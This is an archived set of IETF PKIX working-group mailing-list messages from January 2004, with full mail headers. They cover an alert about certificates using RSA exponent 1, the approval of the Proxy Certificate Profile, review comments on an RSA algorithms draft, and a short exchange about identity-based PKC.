	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="[e-mail]"

Content-Type: text/plain
Content-ID:	<[e-mail]>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-certpathbuild-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-certpathbuild-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<[e-mail]>

--OtherAccess--

--NextPart--




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i08MRvib030938 for <[e-mail]>; Thu, 8 Jan 2004 14:27:57 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i08MRv8d030937 for ietf-pkix-bks; Thu, 8 Jan 2004 14:27:57 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from woodstock.binhost.com (woodstock.binhost.com [144.202.240.3]) by above.proper.com (8.12.10/8.12.8) with SMTP id i08MRuib030932 for <[e-mail]>; Thu, 8 Jan 2004 14:27:56 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 19564 invoked by uid 0); 8 Jan 2004 22:27:44 -0000
Received: from unknown (HELO Russ-Laptop.vigilsec.com) (141.156.213.222) by woodstock.binhost.com with SMTP; 8 Jan 2004 22:27:44 -0000
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9
Date: Thu, 08 Jan 2004 17:27:54 -0500
To: [e-mail]
From: Russ Housley <[e-mail]>
Subject: Fwd: Alert: certs with RSA public key exponent of 1
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This will also be of interest to this list ...

Russ


>Date: Thu, 8 Jan 2004 14:08:34 -0800
>From: "Nelson Bolyard" <[e-mail]>
>Subject: Alert: certs with RSA public key exponent of 1
>To: "IETF Transport Layer Security WG" <[e-mail]>
>
>Some time ago, mozilla was modified to detect and reject RSA keys with
>public exponents equal to 1.  Presumably, the readers of this list
>need no explanation of the implications of such keys.
>
>Now, mozilla users are encountering web sites whose certs have such keys.
>At least one public CA has apparently issued one or more such certs.
>
>I'm reporting this here to alert the readers of this list who may wish
>to ensure that their implementations detect such keys, and to suggest
>that perhaps the TLS RFC should explicitly forbid the use of any public
>keys (RSA or otherwise) that facilitate such weak encryption and/or
>authentication by requiring implentations to detect and reject them.
>
>Nelson    (not speaking for my employer)



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i08M90ib029919 for <[e-mail]>; Thu, 8 Jan 2004 14:09:00 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i08M90Uh029918 for ietf-pkix-bks; Thu, 8 Jan 2004 14:09:00 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from asgard.ietf.org (asgard.ietf.org [132.151.6.40]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i08M8xib029913 for <[e-mail]>; Thu, 8 Jan 2004 14:08:59 -0800 (PST) (envelope-from [e-mail])
Received: from apache by asgard.ietf.org with local (Exim 4.14) id 1AeiH8-0006Jx-St; Thu, 08 Jan 2004 17:05:10 -0500
X-test-idtracker: no
From: The IESG <[e-mail]>
To: IETF-Announce:;
Cc: Internet Architecture Board <[e-mail]>, RFC Editor <[e-mail]>, <[e-mail]>
Subject: Protocol Action: 'Internet X.509 Public Key Infrastructure  Proxy Certificate Profile' to Proposed Standard 
Message-Id: <[e-mail]>
Date: Thu, 08 Jan 2004 17:05:10 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

The IESG has approved the following document:

- 'Internet X.509 Public Key Infrastructure Proxy Certificate Profile '
   <draft-ietf-pkix-proxy-10.txt> as a Proposed Standard

This document is the product of the Public-Key Infrastructure (X.509) Working 
Group. 

The IESG contact persons are Russ Housley and Steve Bellovin.

Technical Summary

  This document specifies the certificate profile for Proxy
  Certificates, based on X.509v3 certificate profile in RFC 3280.  The
  term Proxy Certificate is used to describe a certificate that is
  derived from, and signed by, a normal X.509v3 End Entity Public Key
  Certificate or by another Proxy Certificate.

Working Group Summary

  The PKIX Working Group came to consensus on this document.

Protocol Quality

  This document was reviewed by Russell Housley for the IESG.

RFC Editor Note

  On page 17, please correct the forward reference.

  OLD:

    the IANA registry (see Section Error! Reference source not found

  NEW:

    the IANA registry (see Section 7


  Add additional text to the end of the IANA Considerations, replacing
  RFC-TBD with the number assigned to this document, and replacing
  DATE-TBD with the month and year that this document becomes an RFC.

  NEW:

    OID                      Description                Reference
    ---                      -----------                ---------
    1.3.6.1.5.5.7.21.1       id-ppl-inheritALL          [RFC RFC-TBD]
    1.3.6.1.5.5.7.21.2       id-ppl-independent         [RFC RFC-TBD]


    REFERENCES
    ----------

    [RFC-TBD] Tuecke, S., V. Welch, D. Engert, L. Pearlman, M. Thompson,
              "Internet X.509 Public Key Infrastructure Proxy Certificate
              Profile", RFC RFC-TBD, Argonne National Laboratory, National
              Center for Supercomputing Applications, University of
              Southern California/Information Sciences Institute,
              Lawernece Berkeley National Laboratory, DATE-TBD.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i07Gh8ib058693 for <[e-mail]>; Wed, 7 Jan 2004 08:43:08 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i07Gh8Qu058692 for ietf-pkix-bks; Wed, 7 Jan 2004 08:43:08 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from woodstock.binhost.com (woodstock.binhost.com [144.202.240.3]) by above.proper.com (8.12.10/8.12.8) with SMTP id i07Gh7ib058683 for <[e-mail]>; Wed, 7 Jan 2004 08:43:07 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 11776 invoked by uid 0); 7 Jan 2004 16:42:55 -0000
Received: from unknown (HELO Russ-Laptop.vigilsec.com) (141.156.181.82) by woodstock.binhost.com with SMTP; 7 Jan 2004 16:42:55 -0000
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9
Date: Wed, 07 Jan 2004 11:36:06 -0500
To: "Kaliski, Burt" <[e-mail]>, "'[e-mail]'" <[e-mail]>, [e-mail]
From: Russ Housley <[e-mail]>
Subject: RE: WG Last Call: Additional Algorithms for RSA cryptography
Cc: "'Stephen Kent'" <[e-mail]>, [e-mail], Jim Schaad <[e-mail]>
In-Reply-To: <[e-mail] namics.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Burt:

This is correct.  I have been coordinating with Tim Polk, and the document 
can proceed as soon as we are sure that the algorithm will not change.

Russ

At 04:24 PM 1/6/2004 -0500, Kaliski, Burt wrote:
>3. The [SHA224] document will not be stable until NIST finalizes its
>definition of SHA-224, which is currently out for public comment.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i06LPtib064726 for <[e-mail]>; Tue, 6 Jan 2004 13:25:55 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i06LPtDu064725 for ietf-pkix-bks; Tue, 6 Jan 2004 13:25:55 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from vulcan.rsasecurity.com (vulcan.rsasecurity.com [204.167.114.130]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i06LPoib064718 for <[e-mail]>; Tue, 6 Jan 2004 13:25:54 -0800 (PST) (envelope-from [e-mail])
Received: from ebola.securitydynamics.com by vulcan.rsasecurity.com via smtpd (for mail.imc.org [208.184.76.43]) with ESMTP; Tue, 6 Jan 2004 16:25:53 -0500
Received: from sdtihq24.securid.com (localhost [127.0.0.1]) by ebola.securitydynamics.com (8.12.10/NULL) with ESMTP id i06LPF1i007301; Tue, 6 Jan 2004 16:25:15 -0500 (EST)
Received: from exna00.securitydynamics.com (exna00.securitydynamics.com [10.100.8.217]) by sdtihq24.securid.com (8.12.10/8.12.9) with ESMTP id i06LPP8F023622; Tue, 6 Jan 2004 16:25:25 -0500 (EST)
Received: by exna00.securitydynamics.com with Internet Mail Service (5.5.2657.72) id <W3355TDY>; Tue, 6 Jan 2004 16:25:25 -0500
Message-ID: <[e-mail]>
From: "Kaliski, Burt" <[e-mail]>
To: "'[e-mail]'" <[e-mail]>, [e-mail]
Cc: "'Stephen Kent'" <[e-mail]>, [e-mail], Jim Schaad <[e-mail]>, Russ Housley <[e-mail]>
Subject: RE: WG Last Call: Additional Algorithms for RSA cryptography
Date: Tue, 6 Jan 2004 16:24:39 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain; charset="iso-8859-1"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

A few comments:

1. The sha224WithRSAEncryption OID has been defined. Please update the
definition on p. 13 to the following:

   sha224WithRSAEncryption  OBJECT IDENTIFIER  ::=  { pkcs-1 14 } 

2. Some typos:

* p. 6, definition of sha224Identifier: "id-sha256" --> "id-sha224"
* p. 11, Sec. 5, para 1: "SHA_224" --> "SHA-224"
* p. 12, para 3: "SHA-2224" --> "SHA-224"
* p. 18, ref. [SHA224]: "-00.txt" --> "-02.txt"

3. The [SHA224] document will not be stable until NIST finalizes its
definition of SHA-224, which is currently out for public comment.

-- Burt

-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
Sent: Tuesday, December 16, 2003 2:31 PM
To: [e-mail]
Cc: 'Stephen Kent'; [e-mail]; Jim Schaad; Russ Housley;
Kaliski, Burt
Subject: WG Last Call: Additional Algorithms for RSA cryptography


This message initiates working group Last Call for "Additional Algorithms
and 
Identifiers for RSA Cryptography". As a reminder, here is the Abstract:

   This document supplements RFC 3279.  It describes the conventions 
   for using the RSASSA-PSS signature algorithm, the RSAES-OAEP key 
   transport algorithm and additional one-way hash functions with the 
   PKCS #1 version 1.5 signature algorithm in the Internet X.509 Public 
   Key Infrastructure (PKI).  Encoding formats, algorithm identifiers, 
   and parameter formats are specified. 

This is a three week Last Call.  That means it will close sometime on or
after 
January 9, 2004.   The schedule has been padded with an additional week in 
light of the holidays. 

** Do not count on any further extension to Last Call!!! **

I intend to close Last Call promptly on January 9, since an S/MIME WG
document 
is blocked on this document.

The URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rsa-pkalgs-01.txt

Thanks,

Tim Polk


Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i02Lmqib007699 for <[e-mail]>; Fri, 2 Jan 2004 13:48:52 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i02Lmqle007698 for ietf-pkix-bks; Fri, 2 Jan 2004 13:48:52 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com ([128.33.0.62]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i02Lmoib007690 for <[e-mail]>; Fri, 2 Jan 2004 13:48:51 -0800 (PST) (envelope-from [e-mail])
Received: from [128.89.89.75] (dhcp89-089-075.bbn.com [128.89.89.75]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i02LmhM9012370; Fri, 2 Jan 2004 16:48:45 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020408bc1b96042e8e@[128.89.89.75]>
In-Reply-To: <004501c3cebe$b4db12b0$0500a8c0@arport>
References: <[e-mail]> <p06020404bc1653dc01c8@[128.89.89.75]> <004501c3cebe$b4db12b0$0500a8c0@arport>
Date: Fri, 2 Jan 2004 16:47:26 -0500
To: "Anders Rundgren" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: IDPKC
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 11:21 +0100 12/30/03, Anders Rundgren wrote:
>Steve,
>That was a truly brilliant analysis of IDPKC!

Thanks, but I had done this before when people first asked me about 
my views of the technology, so all I had to do was reconstruct the 
verbal analysis I did previously.

>It would however be nice to get a similarly educated analysis of
>PKI in the form you have more faith in.  Like how you actually can
>build shrink-wrapped, reliable, and user-friendly RP software based
>on standards having the following characteristics:

You have a very focused idea of what is the goal of PKI, not one that 
is universally shared. Moreover, I addressed limitations of IDPKC in 
a broad context, but the analysis you want will take a lot more 
effort. Unfortunately, the world is full of problems that require 
considerable effort to address. I work only on those for which I have 
clients willing to pay. Nobody is paying me to address precisely the 
problem you stated. So, I will not agree to take on the task.
>	<SNIP>
>
>Hoping for a better 2004 with more mutual understanding

One can always hope ...


Steve